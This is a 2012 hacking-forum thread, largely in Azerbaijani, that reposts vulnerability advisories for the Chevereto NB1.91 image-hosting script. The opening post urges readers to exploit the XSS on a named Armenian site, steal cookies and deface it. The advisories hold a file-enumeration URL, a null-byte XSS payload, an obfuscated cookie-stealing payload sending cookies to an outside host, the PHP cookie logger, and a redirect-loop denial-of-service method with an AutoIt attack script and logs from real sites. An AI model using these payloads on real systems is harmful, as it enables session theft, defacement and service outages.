Anti-armenia.ORG - Forumlar - Chevereto XSS+File existence enum vulns



Istifadəçi
     2012-05-10 01:41 GMT                 

BlackMinD


Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


http://pics.openarmenia.com/ da tapdığım skriptdir bu.
Həmin skriptin analiz elədim XSS və File existence Enumeration vulnları var.
Kiminsə həvəsi və səbri varsa exploit edib coookieləri fırladıb openarmenia.com/ -dan mıxlasın.
XSS stealerinə qədər verdim səbrim yoxdur sadəcə özüm oturub cookieləri gözləməyə.

Kod:
========================================================================================
Vulnerable Software: Chevereto upload script
Downloaded from: http://code.google.com/p/chevereto/downloads/list
(http://code.google.com/p/chevereto/downloads/detail?name=chevereto_nb1.91.zip&can=2&q=)
Official site: http://chevereto.com/
chevereto_nb1.91.zip Nightly Build 1.91   Featured Oct 2010 471 KB 32167
========================================================================================
About software:See from vendor: http://chevereto.com/
chevereto is outstanding Image Hosting Script (c) chevereto.com
========================================================================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL: 5.5.23
========================================================================================
Vuln Desc:
Vulnerable Code Section
//http://site.tld/whereunpacked/Upload/engine.php

if ($modo==2 || $modo==3) {
// INFORMACION (ANCHO, ALTO y PESO)
if ($modo==2) {
if ($_GET['v']) {
$id = $_GET['v'];
$imagen = DIR_IM.$id;
if (file_exists($imagen)==true) {
$titulo = SEEING.' '.$id.' '.AT.' ';
$info = getimagesize($imagen); //Obtenemos la informacion
$statinfo = @stat($imagen);
$ancho = $info[0];
$alto = $info[1];
$mime = $info['mime'];
$tamano = $statinfo['size']; //Bytes
$tamano_kb = round($tamano*0.0009765625, 2);
$canales = $info['channels'];
} else {
unset($modo);
$modo = 1;
$spit = true;
$errormsg = NOT_EXISTS;
$titulo = NOT_EXISTS_TITLE.ESP_TITULO;
}
}
}

// LAS URL
$URLimg = URL_SCRIPT.DIR_IM.$name;
$URLthm = URL_SCRIPT.DIR_TH.$name;
$URLvim = URL_SCRIPT.'?v='.$name;
$URLshr = $URLvim; // Para no cambiar mas abajo
$eu_img = urlencode($URLimg);


File existense enumeration:
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php

Non persistent cROSS siTE sCRIPTING (XSS)
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php%00<script>alert(1);</script>

Note:*Null byte* usage is neccessary here when exploiting XSS.See the vulnerable code section.


=======XSS STEAL COOKIE========
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php%00</title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,48,46,49,53,47,108,101,97,114,110,47,119,111,114,107,47,120,115,115,46,112,104,112,63,116,120,116,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,60,47,115,99,114,105,112,116,62));</script>
============EOF================
our charcoded XSS payload in this case is: <script>location.replace("http://192.168.0.15/learn/work/xss.php?txt="+document.cookie)</script>

And Finally:
//xss.php = is our cookie stealer.

<?php
error_reporting('off');
if(isset($_GET['txt']))
{
$cleanupitfirst=base64_encode(htmlentities($_GET['txt']));
$file='./s.txt';
$handle=fopen($file,'a+');
fwrite($handle,PHP_EOL .'============Decode It==========='. PHP_EOL .$cleanupitfirst. PHP_EOL . '============END OF==========='.PHP_EOL);
fclose($handle);
}
die('<script>location.replace("http://return_back.tld/blabla/");</script>');


Demo: http://pics.openarmenia.com/?v=../index.php%00%3Cscript%3Ealert%281%29;%3C/script%3E
//Chevereto NB1.6 rev2
========================================================================================
Due trust to this issuse we can say previous versions too is affected by this vulns.
=================================== EOF =================================================


++++My Special Thanks to:++++
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com &&
to all AA Team &&+ to all
Azerbaijani Black Hatz;)
++++++++++++++++++++++++++++++
Thank you.

/AkaStep ^_^


http://packetstormsecurity.org/files/112585/Chevreto-Upload-Script-Cross-Site-Scripting-User-Enumeration.html
http://cxsecurity.com/issue/WLB-2012050075

Ana VƏTƏN!
Anti-armenia.ORG
     
 

Istifadəçi
     2012-05-10 22:26 GMT                 

substring


VIP
Mesaj Sayı : 73
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   3  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


təşəkkürlər bro

Anti-armenia.ORG
     
 

Istifadəçi
     2012-05-10 22:37 GMT                 

Avatar Fearless


VIP
Mesaj Sayı : 1299
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   23  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Gävle
Ölkə :
Məslək : Hacker,Defacer,Programmer
Yaş : 26
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər Bro
Dürüst Olacıyam axıra qədər oxudum Demo kimi verdiyin sayt-lara baxdim orda <script>alert(1);</script> ilə qurtardığından anladığım sadəcə HTML İnjection oldu onsuzda bütün Mövzularınn uzun və ətraflı olur Thankz

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
     
 

Istifadəçi
     2012-05-11 07:36 GMT                 

StealtH


Security
Mesaj Sayı : 839
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   25  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Sumqayıt
Ölkə :
Məslək : Pan - Turkism
Yaş : 34
Mesaj :

Mövzunu Paylaş!


hee bu passiv xss-dir
əgər mail-in özündə sessiona ancaq bir İP-dən icazə varsa onda cookies bir işə yaramayacaq

Bura Ergenekon, təpədən-dırnağa Türkəm!

http://s41.radikal.ru/i092/1308/a7/c6e81f41523b.png
Anti-armenia.ORG
     
 

Istifadəçi
     2012-05-11 10:21 GMT                 

BlackMinD


Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər
@Avatar Fearless adi alert aldınsa XSS Steal cookie bölməsini oxu asanlıqla başa düşəcəksən necə fırlatmaq olur cookieləri.
Çünki özüm test etmişəm.

Bir dənə də vuln tapdım bu skriptdə sağ olsunlar update etmək əvəzinə packestormsecurity.com da yenidən resubmit etdilər.
Denial Of Service imkan verir bu vuln.
Amma ki, 1 nyuans mənə maraqlı qaldı bəzi serverlərdə hərdən olurki tutmur.Server Side Dependable vulndur eyni zamanda.

əlavə edim onu da bura:
Kod:
========================================================================================
Vulnerable Software: chevereto_nb1.91
Downloaded from: http://code.google.com/p/chevereto/downloads/list
(http://code.google.com/p/chevereto/downloads/detail?name=chevereto_nb1.91.zip&can=2&q=)
Official site: http://chevereto.com/
chevereto_nb1.91.zip   Nightly Build 1.91   Featured   Oct 2010     471 KB   32167
========================================================================================
About software:See from vendor: http://chevereto.com/
chevereto is outstanding Image Hosting Script (c) chevereto.com
========================================================================================
Vuln Desc: chevereto_nb1.91 is prone to remote Denial Of Service Vuln.

The main problem in that this image upload script doesn't uses any unique validating technique for per request when proceeding
$_GET['url'] (remote url)
Simply this means it handles remote file checking procedure like below:
http://192.168.0.15/learn/chevereto/chevereto_nb1.91/Upload/?url=http://somesite.tld/somevalidimage.png

Script will check is remote file valid image? Sounds safe yeah?
Lets look which function is responsible to this operation:

//engine.php
// FX Filtro (REMOTO)
function checkremota($rup) {
  if(isValidURL($rup)) {
    $info = getimagesize($rup);
    if(!empty($info)) {
      return true;
    } else {
      return false;
    }
  } else {
    return false;
  }
}


But we can trick it to act as something like infinitive loop :)

Here is main algo to exploit this vuln:

HOST B is attacker.In eg: http://somesite.tld/
HOST A is victim:In eg: http://192.168.0.15/

Attacker (HOST B) creates simply this .htaccess file and uploads it to his/her site.

.htaccess
#I'm attacker and i'm on host B. BTW, We can call it as "Bouncer"  #
Redirect 301 /fake.png http://HOST_A_OR_VICTIM/Upload/?url=http://somesite.tld//fake.png

As you can see http://somesite.tld//fake.png  (fake.png) it doesn't exist and it is not neccessary.

Then attacker uses same "malicious" url which he/she created in his .htaccess file.
In eg attacker injects it to anothers sites like image:(It simply will act as "detonator" to start this attack)

<img src="http://HOST_A_OR_VICTIM/Upload/?url=http://somesite.tld/fake.png" heigth="0" width="0" />

Thats all! See what it does on remote site (From Apache access logs)


192.168.0.15 - - [10/May/2012:17:55:55 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:55:55 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:57:55 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:57:55 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:55:56 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:55:56 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:57:56 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:57:56 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:55:56 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:55:56 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:57:56 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:57:56 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:55:56 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:55:56 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:57:56 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:57:56 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET //fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET //fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.1 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15//fake.png HTTP/1.1" 200 -
192.168.0.1 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15//fake.png HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.1 - - [10/May/2012:18:00:48 +0400] "GET /favicon.ico HTTP/1.1" 404 46
192.168.0.1 - - [10/May/2012:18:00:48 +0400] "GET /favicon.ico HTTP/1.1" 404 46 "-" "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.1 - - [10/May/2012:18:00:48 +0400] "GET /favicon.ico HTTP/1.1" 404 46
192.168.0.1 - - [10/May/2012:18:00:48 +0400] "GET /favicon.ico HTTP/1.1" 404 46 "-" "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0"
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:47 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:18:00:48 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:18:00:49 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:18:00:49 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:18:00:49 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:18:00:49 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:18:00:49 +0400] "GET /fake.png HTTP/1.0" 301 301
192.168.0.15 - - [10/May/2012:18:00:49 +0400] "GET /fake.png HTTP/1.0" 301 301 "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 -
192.168.0.15 - - [10/May/2012:17:58:48 +0400] "GET /learn/chevereto/chevereto_nb1.91/Upload/?url=http://192.168.0.15/fake.png HTTP/1.0" 200 - "-" "-"




While testing it (localhost machine)
CPU LOAD 100%
Apache is down.Because:
[Thu May 10 17:58:58 2012] [warn] Server ran out of threads to serve requests. Consider raising the ThreadsPerChild setting.
In other words this script can act as something like "tennis ball" to create Denial of Service conditions on hostings.

Exploiting on real site which uses chevereto_nb1.91:
For security reasons IP addresses and domain names is not published here.


me@localhost.localdomain~
$ wget http://site1/fake.png
--2012-05-10 21:20:09--  http://site1/fake.png
Resolving site1 (site1)... 195.250.**.**
Connecting to site1 (site1)|195.250.**.**|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://site2/?url=http://site1/fake.png [following]
--2012-05-10 21:20:11--  http://site2/?url=http://site1/fake.png
Resolving site2 (site2)... 95.1**.***.***
Connecting to site2 (site2)|95.1**.***.***|:80... connected.
HTTP request sent, awaiting response... 500 Internal Server Error
2012-05-10 21:22:20 ERROR 500: Internal Server Error.


me@localhost.localdomain~
$ wget http://site2/?url=http://site1/fake.png
--2012-05-10 21:24:03--  http://site2/?url=http://site1/fake.png
Resolving site2 (site2)... 95.1**.***.***
Connecting to site2 (site2)|95.1**.***.***|:80... connected.
HTTP request sent, awaiting response... Read error (Connection reset by peer) in headers.
Retrying.
============================================================
NOTE0:Also i found script called *Imagise 1.11.29, based on Chevereto NB* which uses chevereto_nb1.91 engine.php.It is also vulnerable to this vuln.
============================================================
NOTE1:Previous versions seems is not vulnerable.At least i remotely from scratch checked against Chevereto NB1.6 rev2 it is not exploitable(not vulnerable).
============================================================

The following Proof Of Concept Exploit is available:
========================= EXPLOIT===========================
====chevereto_nb1.91 Remote Denial of Service Exploit=======

#NoTrayIcon

#cs
Name DOS.au3
Autoitscript file.
#ce

$victimsite='http://victim.tld/';//victim site.
$attackersite='http://attacker.tld/fake.png';// notice your fake.png +it is attackers site.


;# do not change especially $aux #
$aux='?url=';
While 1
    Sleep(Random(3000,8000,1));// in random manner (minimum 3 - max 8 seconds).
   ;HttpSetProxy(2,'localhost:9049'); // if you want to use proxy uncomment it+change it to your needs.
  HttpSetUserAgent('Google Bot');//Our user agent
  $get=InetGet($victimsite & $aux & $attackersite,'',1);//our request
  InetClose($get);//closing connection.
WEnd
=========================EOF EXPLOIT=========================



============================================================
NOTE2:
Got responce from From Vendor of this script: NB is discontinued and *no longer developed*
You can read the notice right here: http://code.google.com/p/chevereto/ and
the original post is here: http://chevereto.com/forums/post7400.html#p7400
============================================================




My sincerely apogolises Guys to resubmit this script's vulns again.Because after looking to code more closer i
imaged to find it(new vuln) and imaged how to exploit it.
Anyways,my sincerely Thanks to packetstormsecurity.org's staff.
Respect)



++++As always My Special Thanks to:++++
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com &&
to all AA Team &&+ to all
Azerbaijani Black Hatz;)
++++++++++++++++++++++++++++++++++++++++
Thank you.

/AkaStep ^_^


http://packetstormsecurity.org/files/112614/Chevereto-nb1.91-Denial-Of-Service.html
http://cxsecurity.com/issue/WLB-2012050084

Ana VƏTƏN!
Anti-armenia.ORG
     
 

 
Site By: Ferid23 | Designed: MCH & FERID23  | Site: Anti-armenia.ORG